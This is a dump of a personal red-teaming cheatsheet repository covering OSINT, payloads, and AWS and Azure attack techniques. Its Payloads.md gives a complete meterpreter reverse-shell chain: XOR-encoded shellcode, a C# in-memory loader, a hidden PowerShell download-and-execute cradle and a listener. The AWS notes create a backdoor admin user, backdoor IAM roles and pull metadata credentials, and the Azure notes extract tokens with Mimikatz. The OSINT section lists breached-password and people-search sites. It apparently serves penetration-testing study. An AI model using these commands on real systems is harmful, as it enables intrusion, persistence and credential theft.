├── CONTRIBUTING.md ├── LICENSE.md ├── OSINT.md ├── Payloads.md ├── README.md ├── cloud ├── aws │ ├── authenticated-enumeration.md │ ├── lateral-movement.md │ ├── persistence.md │ ├── post-exploitation.md │ ├── privilege-escalation.md │ └── readme.md ├── azure │ ├── Authenticated-enumeration.md │ ├── Cloud-OnPrem-lateral-movement.md │ ├── General-information.md │ ├── customqueries.json │ ├── persistence.md │ ├── post-exploitation.md │ ├── privilege-escalation.md │ └── readme.md ├── gcb │ ├── authenticated-enumeration.md │ ├── lateral-movement.md │ ├── persistence.md │ ├── post-exploitation.md │ ├── privilege-escalation.md │ └── readme.md ├── initial-access-attacks.md ├── readme.md └── recon.md ├── cobalt-strike.md ├── covenant.md ├── infrastructure ├── bufferoverflow.md ├── bufferoverflow │ ├── exploit.py │ └── fuzzing.py ├── enumeration.md ├── exploitation.md ├── pivoting.md ├── privesc_linux.md ├── privesc_windows.md └── readme.md ├── metasploit.md ├── python_dependancies.md └── windows-ad ├── Domain-Enumeration.md ├── Domain-Persistence.md ├── Domain-Privilege-Escalation.md ├── Evasion.md ├── Host-Persistence.md ├── Host-Reconnaissance.md ├── Initial-Access.md ├── Lateral-Movement.md ├── Post-Exploitation.md ├── linux_ad.md ├── readme.md └── relaying.md /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to RedTeaming Cheatsheet 2 | I would love your input. Feel free to contribute and send a pull request adding commands or an attack! 3 | 4 | ## Any contributions you make will be under the MIT Software License 5 | In short, when you submit code changes, your submissions are understood to be under the same [MIT License](http://choosealicense.com/licenses/mit/) that covers the project. Feel free to contact the maintainers if that's a concern. 6 | 7 | ## Report bugs using Github's [issues](https://github.com/briandk/transcriptase-atom/issues) 8 | We use GitHub issues to track public bugs. Report a bug by [opening a new issue](); it's that easy! 9 | 10 | ## Write bug reports with detail, background, and sample code 11 | [This is an example](http://stackoverflow.com/q/12488905/180626) of a bug report I wrote, and I think it's not a bad model. Here's [another example from Craig Hockenberry](http://www.openradar.me/11905408). 12 | 13 | **Great Bug Reports** tend to have: 14 | 15 | - A quick summary and/or background 16 | - Steps to reproduce 17 | - Be specific! 18 | - Give sample code if you can. [My stackoverflow question](http://stackoverflow.com/q/12488905/180626) includes sample code that *anyone* with a base R setup can run to reproduce what I was seeing 19 | - What you expected would happen 20 | - What actually happens 21 | - Notes (possibly including why you think this might be happening, or stuff you tried that didn't work) 22 | 23 | People *love* thorough bug reports. I'm not even kidding. 24 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 0xJs 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /OSINT.md: -------------------------------------------------------------------------------- 1 | # OSINT 2 | - The page is bare, really need to do a OSINT course ;) 3 | 4 | ## OSINT Frameworks 5 | - https://github.com/lanmaster53/recon-ng 6 | - https://www.maltego.com/ 7 | - https://www.spiderfoot.net/ 8 | 9 | #### Other tools 10 | - https://hunch.ly/ 11 | 12 | ## Search engines 13 | - https://www.google.com/ 14 | - https://www.bing.com/ 15 | - https://duckduckgo.com/ 16 | - https://www.baidu.com/ 17 | - https://yandex.com/ 18 | 19 | ### Google fu / dorks 20 | - https://gist.github.com/sundowndev/283efaddbcf896ab405488330d1bbc06 21 | 22 | #### Example 23 | ``` 24 | site:hackdefense.com filetype:pdf 25 | ``` 26 | 27 | #### Specific website 28 | ``` 29 | searchterm site:example.com 30 | ``` 31 | 32 | #### Search for specific string 33 | ``` 34 | "search this string" 35 | ``` 36 | 37 | ## Create Sockpuppet / alias 38 | - Settings up a anonymous sockpuppet 39 | - https://www.reddit.com/r/OSINT/comments/dp70jr/my_process_for_setting_up_anonymous_sockpuppet/ 40 | 41 | ## Host Information 42 | #### Get IP Adresses of a domain name 43 | ``` 44 | dig +short 45 | ``` 46 | 47 | #### Check whois op each IP 48 | - Check who owns the IP, where is it hosted? 49 | ``` 50 | whois 51 | ``` 52 | 53 | ### Mail 54 | #### Check spf, dkim, dmarc etc 55 | - https://github.com/BishopFox/spoofcheck 56 | ``` 57 | ./spoofcheck.py 58 | ``` 59 | 60 | ## Finding Email adresses 61 | #### Discovering email adresses or pattern 62 | - https://hunter.io 63 | - https://phonebook.cz 64 | 65 | #### Verify email-adres 66 | - https://tools.emailhippo.com/ 67 | - https://email-checker.net/validate 68 | 69 | #### theHarvester 70 | ``` 71 | theHarvester -d -b google -l 500 72 | ``` 73 | 74 | ## Hunting usernames 75 | - https://namechk.com/ 76 | - https://whatsmyname.app/ 77 | - https://namecheckup.com/ 78 | 79 | #### WhatsMyName 80 | - https://github.com/WebBreacher/WhatsMyName 81 | ``` 82 | whatsmyname -u 83 | ``` 84 | 85 | #### Sherlock 86 | - https://github.com/sherlock-project/sherlock 87 | ``` 88 | sherlock 89 | ``` 90 | 91 | ## Hunting passwords 92 | - https://www.dehashed.com/ 93 | - https://www.weleakinfo.to/ 94 | - https://leakcheck.io/ 95 | - https://snusbase.com/ 96 | - https://scylla.sh/ 97 | - https://haveibeenpwned.com/ 98 | 99 | #### Breachparse 100 | - https://github.com/hmaverickadams/breach-parse 101 | ``` 102 | ./breach-parse.sh @ password.txt 103 | ``` 104 | 105 | ### H8mail 106 | - https://github.com/khast3x/h8mail 107 | ``` 108 | h8mail -t 109 | ``` 110 | 111 | #### Query without API keys against local breachcompilation 112 | ``` 113 | h8mail -t -bc "/opt/breach-parse/BreachCompilation/" -sk 114 | ``` 115 | 116 | #### Check for hashes 117 | - https://hashes.org 118 | 119 | ## Hunting for personal information 120 | - https://www.whitepages.com/ 121 | - https://www.truepeoplesearch.com/ 122 | - https://www.fastpeoplesearch.com/ 123 | - https://www.fastbackgroundcheck.com/ 124 | - https://webmii.com/ 125 | - https://peekyou.com/ 126 | - https://www.411.com/ 127 | - https://www.spokeo.com/ 128 | - https://thatsthem.com/ 129 | 130 | ### Search phone numbers 131 | - https://www.truecaller.com/ 132 | - https://calleridtest.com/ 133 | - https://infobel.com/ 134 | - Can also check out logins, forget password and check for phone number! 135 | 136 | #### phoneinfoga 137 | - https://github.com/sundowndev/phoneinfoga 138 | ``` 139 | phoneinfoga scan -n 140 | ``` 141 | 142 | ## Web OSINT 143 | ### General Info 144 | - whois / dns etc 145 | - https://centralops.net/co/ 146 | - https://spyonweb.com/ 147 | - https://dnslytics.com/reverse-ip 148 | - https://viewdns.info/ 149 | - https://spyonweb.com/ 150 | - https://www.virustotal.com/ 151 | - Alert on changes on website: https://visualping.io/ 152 | - Look for backlinks: http://backlinkwatch.com/index.php 153 | 154 | #### Shodan.io 155 | - https://shodan.io/ 156 | 157 | #### Check old versions of the website / files 158 | - https://web.archive.org/ 159 | 160 | ### Hunting subdomains 161 | - Script that uses multiple tools to enumerate subdomains: https://github.com/Gr1mmie/sumrecon 162 | #### Amass - Best tool 163 | - https://github.com/OWASP/Amass 164 | ``` 165 | 166 | ``` 167 | 168 | #### Dnsdumpster 169 | - Gui tool: https://dnsdumpster.com/ 170 | 171 | #### Sublister 172 | ``` 173 | sublister -domain 174 | ``` 175 | 176 | #### crt.sh 177 | - https://crt.sh 178 | 179 | #### Dnscan 180 | - https://github.com/rbsec/dnscan 181 | ``` 182 | dnscan.py 183 | ``` 184 | 185 | #### Other tools 186 | - https://pentest-tools.com/information-gathering/find-subdomains-of-domain# 187 | - https://spyse.com/ 188 | 189 | ### Discover Website Technologies 190 | - https://builtwith.com/ 191 | - https://addons.mozilla.org/nl/firefox/addon/wappalyzer/ 192 | 193 | #### Whatwheb 194 | ``` 195 | whatweb 196 | ``` 197 | 198 | ## Image OSINT 199 | ### Reverse Image Searching 200 | - https://images.google.com/ 201 | - https://yandex.com/images/ 202 | - https://tineye.com/ 203 | - Drag the image in 204 | 205 | ### EXIF Data 206 | #### Online 207 | - Location data is already way more secure, but might still get something. 208 | - http://exif.regex.info/exif.cgi 209 | 210 | #### Exiftool 211 | ``` 212 | exiftool 213 | ``` 214 | 215 | #### Identifying Geographical Locations 216 | - https://www.geoguessr.com/ 217 | - https://somerandomstuff1.wordpress.com/2019/02/08/geoguessr-the-top-tips-tricks-and-techniques/ 218 | 219 | ## Social media OSINT 220 | ### Twitter 221 | - https://twitter.com/search-advanced 222 | - https://socialbearing.com/ 223 | - https://www.twitonomy.com/ 224 | - http://sleepingtime.org/ 225 | - https://mentionmapp.com/ 226 | - https://tweetbeaver.com/ 227 | - http://spoonbill.io/ 228 | - https://tinfoleak.com/ 229 | - https://tweetdeck.com/ 230 | 231 | #### Twint 232 | - https://github.com/twintproject/twint 233 | ``` 234 | twint -u -s 235 | ``` 236 | 237 | ### Facebook 238 | - https://sowdust.github.io/fb-search/ 239 | - https://intelx.io/tools?tab=facebook 240 | 241 | ### Instagram 242 | - https://wopita.com/ 243 | - https://codeofaninja.com/tools/find-instagram-user-id/ 244 | - https://www.instadp.com/ 245 | - https://imginn.com/ 246 | 247 | ### Snapchat 248 | - https://map.snapchat.com 249 | 250 | ### Reddit 251 | - https://www.reddit.com/search 252 | 253 | ### Linkedin 254 | - https://www.linkedin.com/ 255 | 256 | ## Business OSINT 257 | - Check them out on LinkedIn / Twitter / Social media etc. 258 | - https://opencorporates.com/ 259 | - https://www.aihitdata.com/ 260 | 261 | ## Wireless OSINT 262 | - https://wigle.net/ 263 | 264 | ## Automating OSINT Example 265 | ``` 266 | #!/bin/bash 267 | 268 | domain=$1 269 | RED="\033[1;31m" 270 | RESET="\033[0m" 271 | 272 | info_path=$domain/info 273 | subdomain_path=$domain/subdomains 274 | screenshot_path=$domain/screenshots 275 | 276 | if [ ! -d "$domain" ];then 277 | mkdir $domain 278 | fi 279 | 280 | if [ ! -d "$info_path" ];then 281 | mkdir $info_path 282 | fi 283 | 284 | if [ ! -d "$subdomain_path" ];then 285 | mkdir $subdomain_path 286 | fi 287 | 288 | if [ ! -d "$screenshot_path" ];then 289 | mkdir $screenshot_path 290 | fi 291 | 292 | echo -e "${RED} [+] Checkin' who it is...${RESET}" 293 | whois $1 > $info_path/whois.txt 294 | 295 | echo -e "${RED} [+] Launching subfinder...${RESET}" 296 | subfinder -d $domain > $subdomain_path/found.txt 297 | 298 | echo -e "${RED} [+] Running assetfinder...${RESET}" 299 | assetfinder $domain | grep $domain >> $subdomain_path/found.txt 300 | 301 | #echo -e "${RED} [+] Running Amass. This could take a while...${RESET}" 302 | #amass enum -d $domain >> $subdomain_path/found.txt 303 | 304 | echo -e "${RED} [+] Checking what's alive...${RESET}" 305 | cat $subdomain_path/found.txt | grep $domain | sort -u | httprobe -prefer-https | grep https | sed 's/https\?:\/\///' | tee -a $subdomain_path/alive.txt 306 | 307 | echo -e "${RED} [+] Taking dem screenshotz...${RESET}" 308 | gowitness file -f $subdomain_path/alive.txt -P $screenshot_path/ --no-http 309 | ``` 310 | -------------------------------------------------------------------------------- /Payloads.md: -------------------------------------------------------------------------------- 1 | ## Extra Xorred meterpreter DLL 2 | - https://crypt0jan.medium.com/red-team-tutorials-4-616c565ccec9 3 | 4 | #### Generate payload 5 | - Save the payload size (byts). You need it later 6 | ``` 7 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=443 --encoder x64/xor_dynamic -i 11 -f csharp > shellcode.txt 8 | ``` 9 | 10 | #### Xor payload 11 | - https://github.com/crypt0jan/XORencoder 12 | - ```git clone https://github.com/crypt0jan/XORencoder``` 13 | - Open the project in Visual Studio. 14 | - Edit file ```Project.cs```, replacing the buf with your payload from Step 1 15 | - At the top change Debug to Release and click Build XOR_encoder. 16 | - Open the project directory ```\XORencoder\bin\Release\netcoreapp3.1\``` and run ```.\XOR_encoder.exe``` 17 | - Copy the new shellcode 18 | 19 | #### Creating C# DLL 20 | - Git clone https://github.com/crypt0jan/ClassLibrary1 21 | - Paste the code from below over the code in ```Class1.cs```, to change some names. 22 | - Edit line 39 and add the amount of bytes ```byte[] buf = new byte[1072]``` 23 | - Add the xorred shellcode. 24 | - At the top change Debug to Release and click "Start" 25 | - You will get an error popup but the build should succeed! 26 | 27 | ``` 28 | using System; 29 | using System.Collections.Generic; 30 | using System.Linq; 31 | using System.Runtime.InteropServices; 32 | using System.Text; 33 | using System.Threading.Tasks; 34 | 35 | namespace RunMe 36 | { 37 | public class RunMeClass 38 | { 39 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 40 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 41 | 42 | [DllImport("kernel32.dll")] 43 | static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 44 | 45 | [DllImport("kernel32.dll")] 46 | static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 47 | 48 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 49 | static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); 50 | 51 | [DllImport("kernel32.dll")] 52 | static extern IntPtr GetCurrentProcess(); 53 | 54 | [DllImport("kernel32.dll")] 55 | static extern void Sleep(uint dwMilliseconds); 56 | 57 | public static void RunBaby() 58 | { 59 | IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0); 60 | if (mem == null) 61 | { 62 | return; 63 | } 64 | 65 | byte[] buf = new byte[1072] 66 | { }; 67 | 68 | for (int i = 0; i < buf.Length; i++) 69 | { 70 | buf[i] = (byte)(((uint)buf[i] ^ 0xAA) & 0xFF); 71 | } 72 | 73 | int size = buf.Length; 74 | 75 | IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); 76 | 77 | Marshal.Copy(buf, 0, addr, size); 78 | 79 | IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 80 | 81 | WaitForSingleObject(hThread, 0xFFFFFFFF); 82 | } 83 | } 84 | } 85 | 86 | ``` 87 | 88 | #### Create a download and execute cradle 89 | - Download the ```ClassLibrary1.dll``` file to your webserver. 90 | - Create a ```runme.ps1``` file with the following content: 91 | ``` 92 | $data = (New-Object System.Net.WebClient).DownloadData('http:///ClassLibrary1.dll') 93 | $assem = [System.Reflection.Assembly]::Load($data) 94 | $class = $assem.GetType("RunMe.RunMeClass") 95 | $method = $class.GetMethod("RunBaby") 96 | $method.Invoke(0, $null) 97 | ``` 98 | 99 | #### Start listener 100 | ``` 101 | sudo msfconsole -q -x 'use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST ; set LPORT 443; set ExitOnSession false; exploit -j -z' 102 | ``` 103 | 104 | #### Download and execute cradle PowerShell: 105 | ``` 106 | powershell.exe -nop -w hidden -C "IEX (New-Object System.Net.WebClient).downloadString('http:///runme.ps1')" 107 | ``` 108 | 109 | ## HTA files 110 | ``` 111 | 112 | 113 | Hello World 114 | 115 | 116 |

Hello World

117 |

This is an HTA...

118 | 119 | 120 | 128 | 129 | ``` 130 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RedTeaming_CheatSheet 2 | Pentesting / RedTeaming cheatsheet with all the commands and techniques I learned during my learning journey. Will keep it up to date. If you have any recommendations for courses or links or have any questions feel free to dm me on discord. 0xjs#9027 3 | 4 | ## Index 5 | * [General](#General) 6 | * [Infrastructure](infrastructure/readme.md) 7 | * [Buffer overflow](infrastructure/bufferoverflow.md) 8 | * [Enumeration](infrastructure/enumeration.md) 9 | * [Exploitation](infrastructure/exploitation.md) 10 | * [Privilege Escalation Windows](infrastructure/privesc_windows.md) 11 | * [Privilege Escalation Linux](infrastructure/privesc_linux.md) 12 | * [Post Exploitation](infrastructure/post_exploitation.md) 13 | * [Windows AD](windows-ad/readme.md) 14 | * [Local privilege escalation](windows-ad/Local-Privilege-Escalation.md) 15 | * [Domain Enumeration](windows-ad/Domain-Enumeration.md) 16 | * [Lateral Movement](windows-ad/Lateral-Movement.md) 17 | * [Powershell Evasion](windows-ad/PowerShell-Evasion.md) 18 | * [Domain privilege escalation](windows-ad/Domain-Privilege-Escalation.md) 19 | * [Domain Persistence](windows-ad/Domain-Persistence.md) 20 | * [Cloud](cloud/readme.md) 21 | * [Recon \ OSINT](cloud/recon.md) 22 | * [Initial access attacks](cloud/initial-access-attacks.md) 23 | * [Cloud services](cloud/readme.md) 24 | * [Azure](cloud/azure/readme.md) 25 | * [Amazon Web Services](cloud/aws/readme.md) 26 | * [Google Cloud Platform](cloud/gcb/readme.md) 27 | 28 | # Sources 29 | - Cloud: CARTP from Pentester Academy and breaching the cloud from antisyphon. 30 | - Windows: CRTP, CRTE from Pentester Academy and ECPTX from eLearnSecurity. 31 | - Infra: Tiberius privesc courses 32 | -------------------------------------------------------------------------------- /cloud/aws/authenticated-enumeration.md: -------------------------------------------------------------------------------- 1 | # Authenticated enumeration 2 | ## Index 3 | * [Authentication](#Authentication) 4 | * [Manual Enumeration](#Manual-enumeration) 5 | * [S3 buckets](#S3-buckets) 6 | * [Webapps & SQL](#Webapps-and-SQL) 7 | * [Serverless](#Serverless) 8 | * [Networking](#Networking) 9 | * [Tools](#Tools) 10 | * [PACU](#PACU) 11 | * [WeirdAAL](#WeirdAAL) 12 | 13 | ## Authentication 14 | - AWS Command Line https://aws.amazon.com/cli/ 15 | - use ```--profile=``` to use a specific profile for executing the commands 16 | 17 | #### Set AWS programmatic keys for authentication 18 | - use ```--profile=``` for a new profile 19 | ``` 20 | aws configure 21 | ``` 22 | 23 | ## Manual enumeration 24 | #### Get basis account info 25 | ``` 26 | aws sts get-caller-identity 27 | ``` 28 | 29 | #### List EC2 instances 30 | ``` 31 | aws ec2 describe-instances --region 32 | ``` 33 | 34 | #### List IAM users 35 | ``` 36 | aws iam list-users 37 | ``` 38 | 39 | #### List IAM roles 40 | ``` 41 | aws iam list-roles 42 | ``` 43 | 44 | #### List access keys for a user 45 | ``` 46 | aws iam list-access-keys --user-name 47 | ``` 48 | 49 | ### S3 buckets 50 | #### List s3 buckets 51 | ``` 52 | aws iam list-roles 53 | ``` 54 | 55 | #### List the contents of an S3 bucket 56 | ``` 57 | aws s3 ls s3:/// 58 | ``` 59 | 60 | #### Download contents of bucket 61 | ``` 62 | aws s3 sync s3://bucketname s3-files-dir 63 | ``` 64 | 65 | #### List EC2 instances 66 | ``` 67 | aws ec2 describe-instances 68 | ``` 69 | 70 | ### Webapps and SQL 71 | #### List WebApps 72 | ``` 73 | aws deploy list-applications 74 | ``` 75 | 76 | #### List AWS RDS (SQL) 77 | ``` 78 | aws rds describe-db-instances --region 79 | ``` 80 | 81 | Knowing the VPC Security Group ID you can query the firewall rules to determine connectivity potential 82 | 83 | ``` 84 | aws ec2 describe-security-groups --group-ids --region 85 | ``` 86 | 87 | ### Serverless 88 | #### List Lambda Functions 89 | ``` 90 | aws lambda list-functions --region 91 | ``` 92 | 93 | #### Look at environment variables set for secrets and analyze code 94 | ``` 95 | aws lambda get-function --function-name 96 | ``` 97 | 98 | ### Networking 99 | #### List EC2 subnets 100 | ``` 101 | aws ec2 describe-subnets 102 | ``` 103 | 104 | #### List ec2 network interfaces 105 | ``` 106 | aws ec2 describe-network-interfaces 107 | ``` 108 | 109 | #### List DirectConnect (VPN) connections 110 | ``` 111 | aws directconnect describe-connections 112 | ``` 113 | 114 | ## Tools 115 | ### PACU 116 | #### Enumerate account information and permissions 117 | ``` 118 | run iam__enum_users_roles_policies_groups 119 | run iam__enum_permissions 120 | whoami 121 | ``` 122 | 123 | ### WeirdAAL 124 | #### Setup authentication with keys 125 | ``` 126 | cp env.sample .env 127 | nano .env 128 | 129 | #Add the following contents: 130 | [default] 131 | aws_access_key_id = 132 | aws_secret_access_key = 133 | aws_session_token = 134 | ```` 135 | 136 | #### Run recon_all module 137 | ``` 138 | python3 weirdAAL.py -m recon_all -t ssrf 139 | ``` 140 | 141 | #### List permissions 142 | ``` 143 | python3 weirdAAL.py -m list_services_by_key -t ssrf 144 | ``` 145 | 146 | #### List S3 buckets 147 | ``` 148 | python3 weirdAAL.py -m s3_get_bucket_policy -a -t ssrf 149 | ``` 150 | 151 | #### Download file from s3 bucket 152 | ``` 153 | python3 weirdAAL.py -m s3_download_file -a ‘/admin-user.txt 155 | ``` 156 | -------------------------------------------------------------------------------- /cloud/aws/lateral-movement.md: -------------------------------------------------------------------------------- 1 | # Lateral movement 2 | ## Index 3 | * [Gain GUI Acess](#Gain-GUI-Access) 4 | 5 | ## Gain GUI Access 6 | #### Copy and save the following 7 | - as ```admin-policy.json``` 8 | ``` 9 | { 10 | "Version": "2012-10-17", 11 | "Statement": [ 12 | { 13 | "Sid": "NotABackdoor", 14 | "Effect": "Allow", 15 | "Action": "*", 16 | "Resource": "*" 17 | } 18 | ] 19 | } 20 | ``` 21 | 22 | #### Create a new user that will give gui access to 23 | - After gaining administrator 24 | - Note down the ARN 25 | ``` 26 | sudo aws iam create-user --user-name gui-user --profile 27 | ``` 28 | 29 | #### Attach the policy to the new user 30 | ``` 31 | sudo aws iam put-user-policy --user-name gui-user --policy-name VisualAid --policy-document file://admin-policy.json --profile 32 | ``` 33 | 34 | #### Set password for the user 35 | ``` 36 | sudo aws iam create-login-profile --user-name gui-user --password "GUIAccessTime1" --profile 37 | ``` 38 | 39 | #### Login with account ID 40 | - Part from ARN 41 | - ```https://.signin.aws.amazon.com/console/``` 42 | -------------------------------------------------------------------------------- /cloud/aws/persistence.md: -------------------------------------------------------------------------------- 1 | # Persistence 2 | ## Index 3 | * [Backdoor account](#Authentication) 4 | * [Outside entity Trust relationships](#Trust-relationships) 5 | 6 | 7 | ## Backdoor account 8 | - Each account can have two access keys 9 | #### List access keys 10 | ``` 11 | aws iam list-access-keys --user-name 12 | ``` 13 | 14 | #### Create second pair of access keys 15 | ``` 16 | aws iam create-access-key --user-name 17 | ``` 18 | 19 | ## Trust relationships 20 | - Can create a trust relationship with an entity OUTSIDE of an AWS account. (cross account persistence) 21 | 22 | #### Run pacu 23 | ``` 24 | sudo python3 cli.py 25 | import_keys 26 | ``` 27 | 28 | #### Run the enumeration modules 29 | ``` 30 | run iam__enum_users_roles_policies_groups 31 | run iam__enum_permissions 32 | whoami 33 | ``` 34 | 35 | #### Find ARN of external AWS account 36 | ``` 37 | sudo aws sts get-caller-identity 38 | ``` 39 | 40 | #### Backdoor the role 41 | - Pacu has a module that backdoors IAM roles called iam__backdoor_assume_role 42 | ``` 43 | run iam__backdoor_assume_role 44 | run iam__backdoor_assume_role --role-names Administrators --user-arns 45 | ``` 46 | 47 | ### Use A external AWS account backdoor 48 | #### Get ARN of role 49 | ``` 50 | sudo aws iam get-role --role-name --profile 51 | ``` 52 | 53 | #### Create backdoor 54 | ``` 55 | sudo aws sts assume-role --role-arn --role-session-name persist --profile 56 | ``` 57 | -------------------------------------------------------------------------------- /cloud/aws/post-exploitation.md: -------------------------------------------------------------------------------- 1 | # Post exploitation 2 | ## Data harvesting 3 | -------------------------------------------------------------------------------- /cloud/aws/privilege-escalation.md: -------------------------------------------------------------------------------- 1 | # Privilege Escalation 2 | ## Index 3 | * [Getting Credentials](#Getting-credentials) 4 | * [Check for scripts](#Check-for-scripts) 5 | * [Instance Metadata Service URL](#Instance-Metadata-Service-URL) 6 | * [Web config and App config files](#Web-config-and-App-config-files) 7 | * [Internal repositories](#Internal-repositories) 8 | * [Command history](#Command-history) 9 | * [PACU Scan for privesc](#PACU) 10 | * [Execute commands on vm's](#Execute-commands-on-VM's) 11 | * [Gain AWS console access](#Gain-AWS-console-access) 12 | * [Lamda](#Lamda) 13 | 14 | ## Getting credentials 15 | ### Check for scripts 16 | - Check the following dirs for scripts/creds: 17 | - ``` C:\ProgramData\Amazon``` 18 | - ```C:\Program Files\Amazon\WorkSpacesConfig\``` 19 | 20 | ### Instance Metadata Service URL 21 | - For example possible by SSRF or when having access to the file system 22 | ``` 23 | http://169.254.169.254/latest/meta-data 24 | ``` 25 | 26 | #### Additional IAM creds possibly available here 27 | 28 | ``` 29 | http://169.254.169.254/latest/meta-data/iam/security-credentials/ 30 | ``` 31 | 32 | - Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS and misconfigured 33 | 34 | ```bash 35 | curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo 36 | ``` 37 | 38 | ### Web config and App config files 39 | - ```Web.config``` and ```app.config``` files might contain creds or access tokens. 40 | - Look for management cert and extract to ```.pfx``` like publishsettings files 41 | ``` 42 | sudo find / -name web.config 2>/dev/null 43 | Get-ChildItem -Path C:\ -Filter app.config -Recurse -ErrorAction SilentlyContinue -Force 44 | ``` 45 | 46 | ### Internal repositories 47 | - Find internal repos (scan for port 80, 443 or Query AD and look for subdomains or hostnames as git, code, repo, gitlab, bitbucket etc) 48 | - Tools for finding secrets 49 | - Gitleaks https://github.com/zricethezav/gitleaks 50 | - Gitrob https://github.com/michenriksen/gitrob 51 | - Truffle hog https://github.com/dxa4481/truffleHog 52 | 53 | ### Command history 54 | - Look through command history 55 | - ```~/.bash_history`` or ```%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt``` 56 | ``` 57 | sudo find / -name .bash_history 2>/dev/null 58 | Get-ChildItem -Path C:\ -Filter *ConsoleHost_history.txt* -Recurse -ErrorAction SilentlyContinue -Force 59 | ``` 60 | 61 | ## PACU 62 | #### Check for privilege escalation 63 | ```bash 64 | run iam__privesc_scan 65 | ``` 66 | 67 | ## Execute commands on VM's 68 | - Requires EC2COnfig or System Manager agent on instances 69 | - Or SSH keys 70 | - Can use GUI to connect 71 | 72 | ## Gain AWS console access 73 | - https://github.com/NetSPI/aws_consoler 74 | 75 | ## Lamda 76 | ### Read lamda functions 77 | - Copy access keys found in the environment variables 78 | ``` 79 | sudo aws lambda list-functions --profile --region 80 | ``` 81 | 82 | #### Create a new profile for the access keys 83 | ``` 84 | sudo aws configure --profile 85 | ``` 86 | 87 | #### Use the creds, for example list ec2 instances: 88 | ``` 89 | sudo aws ec2 describe-instances --profile --region 90 | ``` 91 | -------------------------------------------------------------------------------- /cloud/aws/readme.md: -------------------------------------------------------------------------------- 1 | # Amazon Web Services pentesting cheatsheet 2 | ## Index 3 | * [General](#General) 4 | * [Authenticated enumeration](authenticated-enumeration.md ) 5 | * [Privilege Escalation](privilege-escalation.md) 6 | * [Lateral Movement](lateral-movement.md) 7 | * [Persistence](persistence.md) 8 | * [Post Exploitation](post-exploitation.md) 9 | 10 | ## General 11 | ### Tools 12 | - https://github.com/RhinoSecurityLabs/pacu 13 | 14 | ### Pacu 15 | 16 | #### Install Pacu 17 | ``` 18 | sudo apt-get install python3-pip 19 | git clone https://github.com/RhinoSecurityLabs/pacu 20 | cd pacu 21 | sudo bash install.sh 22 | ``` 23 | 24 | #### Import AWS keys for a specific profile 25 | ```bash 26 | import_keys 27 | ``` 28 | 29 | #### Detect if keys are honey token keys 30 | ``` 31 | run iam__detect_honeytokens 32 | ``` 33 | 34 | #### Enumerate account information and permissions 35 | ``` 36 | run iam__enum_users_roles_policies_groups 37 | run iam__enum_permissions 38 | whoami 39 | ``` 40 | 41 | #### Check for privilege escalation 42 | ```bash 43 | run iam__privesc_scan 44 | ``` 45 | 46 | 47 | -------------------------------------------------------------------------------- /cloud/azure/Cloud-OnPrem-lateral-movement.md: -------------------------------------------------------------------------------- 1 | # Lateral movement 2 | 3 | ## Azure AD machine --> Azure (or another Azure AD Machine) 4 | * [Pass the certificate](#Pass-the-certificate) 5 | * [Pass the PRT](#Pass-the-PRT) 6 | 7 | ## Azure AD --> On-prem 8 | * [Intune](#Intune) 9 | * [Application proxy abuse](#Application-proxy-abuse) 10 | 11 | ## On-Prem --> Azure AD 12 | * [Azure AD Connect](#Azure-AD-Connect) 13 | * [Password Hash Sync (PHS) Abuse](#Password-Hash-Sync-Abuse) 14 | * [Pass Through Authentication (PTA) Abuse](#Pass-Through-Authentication-Abuse) 15 | * [Federation (ADFS)](#Federation-ADFS) 16 | 17 | # Azure AD --> On-prem 18 | ## Pass the certificate 19 | - To go from Azure AD machine to other Azure AD machine if the user has administrative access to other machines. 20 | 21 | #### Check if machine is Azure AD Joined 22 | - Check for IsDeviceJoined : YES 23 | ``` 24 | dsregcmd /status 25 | ``` 26 | 27 | #### Extract PRT, Session key (keyvalue) and Tenant ID 28 | ``` 29 | Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap" ""exit"' 30 | ``` 31 | 32 | #### Extract context key, clearkey and derived key 33 | ``` 34 | Invoke-Mimikatz 